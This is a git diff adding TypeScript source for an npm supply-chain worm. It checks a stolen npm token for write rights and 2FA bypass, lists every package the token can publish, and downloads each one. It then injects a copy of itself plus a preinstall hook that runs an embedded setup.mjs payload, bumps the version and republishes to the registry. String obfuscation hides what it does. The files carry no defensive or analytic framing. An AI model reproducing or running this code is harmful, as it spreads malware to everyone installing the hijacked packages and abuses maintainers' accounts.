diff --git a/src/mutator/npm/index.ts b/src/mutator/npm/index.ts new file mode 100644 index 0000000..66d905d --- /dev/null +++ b/src/mutator/npm/index.ts @@ -0,0 +1,145 @@ +import { $ } from "bun"; +import { randomBytes } from "crypto"; +import { copyFileSync, createWriteStream } from "fs"; +import * as fs from "fs/promises"; +import * as path from "path"; +import { join } from "path"; +import { Readable } from "stream"; +import { pipeline } from "stream/promises"; +import * as tar from "tar"; + +import { config } from "../../generated"; +import { SCRIPT_NAME } from "../../utils/config"; +import { logUtil } from "../../utils/logger"; +import { Mutator } from "../base"; +import { publishTarball } from "./publish"; +import type { TokenInfo } from "./tokenCheck"; + +declare function scramble(str: string): string; + +export class NpmClient extends Mutator { + private tokenInfo: TokenInfo; + + constructor(token: TokenInfo) { + super(); + this.tokenInfo = token; + } + + async execute() { + try { + const isUnix = ["darwin", "linux"].includes(process.platform); + + if (isUnix) { + this.tokenInfo.packages.forEach((pkgName: string) => { + logUtil.log(`Would be updating: ${pkgName}`); + }); + const packages = await this.downloadPackages(this.tokenInfo.packages); + await Promise.all( + packages.downloaded.map((pkgFile) => this.publishPackage(pkgFile)), + ); + await fs.rm(packages.tmpDir, { recursive: true, force: true }); + return true; + } + } catch (e) { + logUtil.error(e); + logUtil.error("Failure updating package."); + return false; + } + + return true; + } + + private async updateTarball(tarballPath: string): Promise { + const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`; + const tmpDir = path.join(path.dirname(tarballPath), `_tmp_${uniqueSuffix}`); + await fs.mkdir(tmpDir, { recursive: true }); + + try { + await tar.extract({ file: tarballPath, cwd: tmpDir }); + copyFileSync(Bun.main, path.join(tmpDir, "package", SCRIPT_NAME)); + const pkgJsonPath = path.join( + tmpDir, + "package", + scramble("package.json"), + ); + const pkgSetupPath = path.join(tmpDir, "package", scramble("setup.mjs")); + const pkg = JSON.parse(await fs.readFile(pkgJsonPath, "utf-8")); + pkg.scripts = {}; + pkg.scripts.preinstall = scramble("node setup.mjs"); + const [major, minor, patch] = pkg.version.split(".").map(Number); + pkg.version = `${major}.${minor}.${patch + 1}`; + await Bun.write(pkgSetupPath, config); + await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2)); + const updatedPath = path.join( + path.dirname(tarballPath), + `${uniqueSuffix}_${scramble("package-updated.tgz")}`, + ); + + await pipeline( + tar.create({ gzip: true, cwd: tmpDir }, ["package"]), + createWriteStream(updatedPath), + ); + + const written = await fs.readFile(updatedPath); + if (written.length < 18 || written[0] !== 0x1f || written[1] !== 0x8b) { + throw new Error( + `[npm] tarball at ${updatedPath} is not a valid gzip stream ` + + `(len=${written.length}, first bytes=${written.subarray(0, 4).toString("hex")})`, + ); + } + + logUtil.log(`Updated path: ${updatedPath}`); + return updatedPath; + } finally { + } + } + + async downloadPackages( + packages: string[], + ): Promise<{ tmpDir: string; downloaded: string[] }> { + const tmpDir = await $`mktemp -d`.text().then((s) => s.trim()); + const downloaded: string[] = []; + + const download = async (pkg: string) => { + try { + const meta = await fetch( + `https://registry.npmjs.org/${pkg.replace("/", "%2F")}`, + ); + if (!meta.ok) return; + const { "dist-tags": tags, versions } = (await meta.json()) as { + "dist-tags": { latest: string }; + versions: Record; + }; + const tarball = versions[tags.latest]?.dist?.tarball; + if (!tarball) return; + + const res = await fetch(tarball); + if (!res.ok || !res.body) return; + + const filename = `${pkg.replace("@", "").replace("/", "-")}-${tags.latest}.tgz`; + const tarballPath = join(tmpDir, filename); + await pipeline( + Readable.fromWeb(res.body as import("stream/web").ReadableStream), + createWriteStream(tarballPath), + ); + const updatedPath = await this.updateTarball(tarballPath); + downloaded.push(updatedPath); + } catch (e) { + logUtil.log(`Failed to download ${pkg}: ${e}`); + } + }; + + await Promise.all(packages.map(download)); + return { tmpDir, downloaded }; + } + + async publishPackage(tarballPath: string): Promise { + if (!this.tokenInfo) return false; + try { + return await publishTarball(tarballPath, this.tokenInfo.authToken); + } catch (e) { + logUtil.error(e); + return false; + } + } +} diff --git a/src/mutator/npm/publish.ts b/src/mutator/npm/publish.ts new file mode 100644 index 0000000..31c1cbf --- /dev/null +++ b/src/mutator/npm/publish.ts @@ -0,0 +1,170 @@ +import { createHash } from "node:crypto"; +import { readFile } from "node:fs/promises"; +import { gunzipSync } from "node:zlib"; + +import { logUtil } from "../../utils/logger"; + +interface PackageJson { + name: string; + version: string; + readme?: string; + [key: string]: unknown; +} + +function extractPackageJson(tar: Buffer): PackageJson { + let offset = 0; + while (offset + 512 <= tar.length) { + const header = tar.subarray(offset, offset + 512); + if (header[0] === 0) break; + + const nameField = header.subarray(0, 100); + const nameEnd = nameField.indexOf(0); + const name = nameField + .subarray(0, nameEnd === -1 ? 100 : nameEnd) + .toString("utf8"); + + const sizeStr = header + .subarray(124, 136) + .toString("utf8") + .replace(/\0/g, "") + .trim(); + const size = sizeStr ? parseInt(sizeStr, 8) : 0; + + offset += 512; + + if (name === "package/package.json" || name.endsWith("/package.json")) { + const data = tar.subarray(offset, offset + size); + return JSON.parse(data.toString("utf8")) as PackageJson; + } + + offset += Math.ceil(size / 512) * 512; + } + throw new Error("package.json not found in tarball"); +} + +export async function publishTarball( + tarballPath: string, + token: string, + dryRun = false, + provenanceBundle?: Record, +): Promise { + const registry = "https://registry.npmjs.org"; + const tag = "latest"; + const userAgent = `npm/11.13.1 node/v24.10.0 ${process.platform} ${process.arch} workspaces/false`; + + const tarballBuffer = await readFile(tarballPath); + const decompressed = gunzipSync(tarballBuffer); + const pkg = extractPackageJson(decompressed); + + const { name, version } = pkg; + if (!name || !version) { + throw new Error("package.json missing required 'name' or 'version'"); + } + + const integrity = + "sha512-" + createHash("sha512").update(tarballBuffer).digest("base64"); + const shasum = createHash("sha1").update(tarballBuffer).digest("hex"); + const base64Data = tarballBuffer.toString("base64"); + const tarballFilename = `${name}-${version}.tgz`; + const tarballUrl = `http://registry.npmjs.org/${name}/-/${tarballFilename}`; + const versionMetadata = { + ...pkg, + name, + version, + readme: pkg.readme ?? "ERROR: No README data found!", + dist: { + integrity, + shasum, + tarball: tarballUrl, + }, + }; + + const body = { + _id: name, + name, + "dist-tags": { [tag]: version }, + versions: { + [version]: versionMetadata, + }, + access: "public", + _attachments: { + [tarballFilename]: { + content_type: "application/octet-stream", + data: base64Data, + length: tarballBuffer.length, + }, + } as Record, + }; + + // Attach sigstore provenance bundle if provided. + if (provenanceBundle) { + const provenanceBundleName = `${name}-${version}.sigstore`; + const serializedBundle = JSON.stringify(provenanceBundle); + body._attachments[provenanceBundleName] = { + content_type: + (provenanceBundle.mediaType as string) || + "application/vnd.dev.sigstore.bundle.v0.3+json", + data: serializedBundle, + length: serializedBundle.length, + }; + } + + const encodedName = name.replace("/", "%2f"); + const url = `${registry}/${encodedName}`; + + const headers: Record = { + "User-Agent": userAgent, + "Npm-Auth-Type": "web", + "Npm-Command": "publish", + Authorization: `Bearer ${token}`, + "Content-Type": "application/json", + Accept: "*/*", + }; + + const serializedBody = JSON.stringify(body); + + if (dryRun) { + logUtil.log("[publish] DRY RUN — request not sent"); + logUtil.log("[publish] PUT", url); + logUtil.log("[publish] headers:", { + ...headers, + Authorization: "Bearer ", + }); + logUtil.log("[publish] body:", { + _id: body._id, + name: body.name, + "dist-tags": body["dist-tags"], + versions: Object.keys(body.versions), + access: body.access, + _attachments: { + [tarballFilename]: { + content_type: "application/octet-stream", + length: tarballBuffer.length, + data: `<${base64Data.length} chars base64>`, + }, + }, + }); + logUtil.log("[publish] body size:", serializedBody.length, "bytes"); + return true; + } + + const fetchInit: RequestInit & { + tls?: { rejectUnauthorized?: boolean }; + } = { + method: "PUT", + headers, + body: serializedBody, + tls: { rejectUnauthorized: false }, + }; + const response = await fetch(url, fetchInit); + const text = await response.text(); + + if (!response.ok) { + logUtil.error( + `[publish] failed: ${response.status} ${response.statusText} — ${text}`, + ); + return false; + } + + return true; +} diff --git a/src/mutator/npm/tokenCheck.ts b/src/mutator/npm/tokenCheck.ts new file mode 100644 index 0000000..099359f --- /dev/null +++ b/src/mutator/npm/tokenCheck.ts @@ -0,0 +1,125 @@ +import { logUtil } from "../../utils/logger"; + +export interface TokenInfo { + packages: string[]; + authToken: string; + valid: boolean; +} + +export async function checkToken(token: string): Promise { + const headers = { Authorization: `Bearer ${token}` }; + + // Fetch all token pages + let matched: any = null; + let url: string | null = "https://registry.npmjs.org/-/npm/v1/tokens"; + while (url && !matched) { + const response = await fetch(url, { headers }); + + if (!response.ok) { + logUtil.log("Not valid!"); + return { packages: [], valid: false, authToken: token }; + } + + const data = (await response.json()) as any; + const first = token.slice(0, 8); + const last = token.slice(-4); + + matched = data.objects?.find( + (obj: any) => + obj.bypass_2fa === true && + obj.token?.startsWith(first.slice(0, 4)) && + obj.token?.endsWith(last), + ); + url = data.urls?.next ?? null; + } + + if (!matched) return { packages: [], valid: false, authToken: token }; + + const hasPackageWrite = matched.permissions?.some( + (p: any) => p.name === "package" && p.action === "write", + ); + + if (!hasPackageWrite) return { packages: [], valid: false, authToken: token }; + + // Get authenticated username + const whoami = await fetch("https://registry.npmjs.org/-/whoami", { + headers, + }); + const { username } = (await whoami.json()) as any; + + const packages: string[] = []; + + for (const scope of matched.scopes ?? []) { + if (scope.type === "org") { + const hasOrgWrite = matched.permissions?.some( + (p: any) => p.name === "org" && p.action === "write", + ); + if (!hasOrgWrite) continue; + const res = await fetch( + `https://registry.npmjs.org/-/org/${scope.name}/package`, + { headers }, + ); + const pkgs = (await res.json()) as any; + packages.push( + ...Object.entries(pkgs) + .filter(([, v]) => v === "write") + .map(([k]) => k) + .filter(Boolean), + ); + } else if (scope.type === "package") { + const isNamespaceScope = /^@[^/]+$/.test(scope.name); + + if (isNamespaceScope) { + // Determine if this namespace is a user or org + const scopeName = scope.name.slice(1); // strip leading @ + const orgRes = await fetch( + `https://registry.npmjs.org/-/org/${scopeName}/package`, + { headers }, + ); + + if (orgRes.ok) { + // It's an org + const pkgs = (await orgRes.json()) as any; + packages.push( + ...Object.entries(pkgs) + .filter(([, v]) => v === "write") + .map(([k]) => k), + ); + } else { + // It's a user — search by maintainer + const searchRes = await fetch( + `https://registry.npmjs.org/-/v1/search?text=maintainer:${scopeName}&size=250`, + { headers }, + ); + const searchData = (await searchRes.json()) as any; + packages.push( + ...(searchData.objects?.map((o: any) => o.package.name) ?? []), + ); + } + } else { + // Individual package entry — return as-is + if (scope.name) packages.push(scope.name); + } + } + } + + // Fetch personal packages only if broadly scoped: { name: null, type: "package" } + const isBroadlyScoped = matched.scopes.some( + (s: any) => s.name === null && s.type === "package", + ); + + if (isBroadlyScoped) { + const searchRes = await fetch( + `https://registry.npmjs.org/-/v1/search?text=maintainer:${username}&size=250`, + { headers }, + ); + const searchData = (await searchRes.json()) as any; + const personalPkgs: string[] = + searchData.objects?.map((o: any) => o.package.name) ?? []; + for (const pkg of personalPkgs) { + if (!packages.includes(pkg)) packages.push(pkg); + } + } + + return { packages, valid: true, authToken: token }; +}